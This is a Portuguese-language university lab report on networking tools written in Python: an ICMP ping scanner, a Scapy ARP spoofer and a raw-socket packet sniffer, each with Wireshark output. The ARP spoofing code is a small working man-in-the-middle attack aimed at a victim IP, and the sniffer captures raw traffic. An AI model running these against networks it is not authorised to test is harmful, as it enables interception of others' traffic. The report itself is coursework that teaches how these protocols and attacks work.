Relatório do T2 de Lab Redes

Dhruv Babani
Eduardo Barcellos
Andre Saciollito Pontifícia Universidade Católica do Rio Grande do Sul — PUCRS

23 de novembro de 2024

1 Introdução

O estudo de redes computacionais exige uma compreensão prática de protocolos e estruturas de comunicação. Este trabalho apresenta a implementação de ferramentas que exploram a manipulação de pacotes ICMP, ARP e TCP.

1. **ICMP Scanner**: permite identificar hosts ativos na rede.
2. **Spoofer de ARP**: finge ser um dispositivo confiável na rede, redirecionando tráfego.
3. **Monitor de Tráfego TCP**: captura pacotes e exibe informações detalhadas de cabeçalhos.

Todas as ferramentas foram implementadas utilizando Python com bibliotecas padrão e específicas como *Scapy*, possibilitando maior controle sobre os pacotes manipulados.

2 Implementação

2.1 ICMP Scanner

A ferramenta ICMP Scanner utiliza pacotes ICMP do tipo *Echo Request* para identificar dispositivos ativos. O método constrói manualmente o cabeçalho ICMP e calcula o *checksum* antes do envio.

Código de envio de pacotes ICMP:

Listing 1: Envio de pacotes ICMP

```
import socket
import struct
import time

def checksum(data):
    s = 0
    for i in range(0, len(data), 2):
        s += (data[i] << 8) + (data[i+1] if i+1 < len(data) else 0)
    s = (s >> 16) + (s & 0xffff)
    s += (s >> 16)
    return ~s & 0xffff

def icmp_ping(target_ip):
    with socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) as sock:
        packet = struct.pack('!BBHHH', 8, 0, 0, 1, 1)  # ICMP Echo Request
        chksum = checksum(packet)
```

```
            packet = struct.pack('!BBHHH', 8, 0, chksum, 1, 1)
            sock.sendto(packet, (target_ip, 0))
            start = time.time()
            sock.settimeout(1)
            try:
                sock.recvfrom(1024)
                print(f'{target_ip} respondeu em {time.time() - start:.2f}s')
            except socket.timeout:
                print(f'{target_ip} não respondeu.')
```

O uso do *checksum* garante que os pacotes ICMP enviados estejam corretos e sigam os padrões do protocolo.

Resultados capturados no Wireshark:

No.	Time	Source	Destination	Protocol	Length	Info
25	1.253123	192.168.0.105	192.168.0.1	ICMP	74	Echo (ping)
26	1.253789	192.168.0.1	192.168.0.105	ICMP	74	Echo (ping)

2.2 Spoofer de ARP

O Spoofer de ARP utiliza pacotes ARP falsificados para redirecionar o tráfego de dispositivos da rede para o atacante. A implementação se baseia na criação de pacotes com o campo de origem (*psrc*) modificado.

Código de spoofing ARP:

Listing 2: Spoofing de ARP

```
from scapy.all import ARP, send

def spoof(target_ip, spoof_ip):
    packet = ARP(op=2, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", psrc=spoof_ip)
    send(packet, verbose=False)
    print(f"[+] ARP spoof enviado: {target_ip} → {spoof_ip}")

spoof("192.168.0.100", "192.168.0.1")
```

Esta abordagem altera o cache ARP da vítima, levando-a a enviar pacotes para o atacante em vez do dispositivo original.

Resultados capturados no Wireshark:

No.	Time	Source	Destination	Protocol	Info
35	1.876554	Attacker MAC	Broadcast	ARP	Who has 192.168.0.1?
36	1.877622	Router MAC	Broadcast	ARP	Reply 192.168.0.1 is

2.3 Monitor de Tráfego TCP

A ferramenta de monitoramento captura pacotes diretamente do adaptador de rede e exibe informações dos cabeçalhos IP e TCP. A análise dos pacotes permite entender o tráfego e identificar padrões ou anomalias.

Código de captura TCP:

Listing 3: Monitoramento de Tráfego TCP

```
import socket

def capture_packets():
    with socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(3)) as s:
        while True:
```

```
        raw_data, addr = s.recvfrom(65536)
        ip_header = raw_data[14:34]
        tcp_header = raw_data[34:54]
        print(f"Pacote recebido de {addr[0]} com dados: {raw_data}")
```

Resultados capturados no Wireshark:

No.	Time	Source	Destination	Protocol	Length	Info
50	1.632879	192.168.0.105	172.217.29.14	TCP	66	54745 → 80 [
51	1.633121	172.217.29.14	192.168.0.105	TCP	66	80 → 54745 [

3 Resultados e Análise

Os testes demonstraram:

- O ICMP Scanner identificou dispositivos ativos com latência mínima.
- O Spoofer de ARP redirecionou tráfego com sucesso, mas foi detectável por ferramentas como Wireshark.
- O Monitor de Tráfego TCP capturou pacotes de forma eficiente, mas é limitado em tráfego criptografado (HTTPS).

Limitações das ferramentas incluem a necessidade de privilégios administrativos e a dificuldade de descriptografar dados criptografados.

4 Conclusão

A implementação permitiu aprofundar conhecimentos práticos em redes computacionais, abordando manipulação e análise de pacotes ICMP, ARP e TCP. As ferramentas cumpriram seus objetivos, demonstrando a funcionalidade dos protocolos.

Esta experiência reforça a importância da ética no uso de ferramentas de redes, especialmente em cenários que envolvem segurança e privacidade.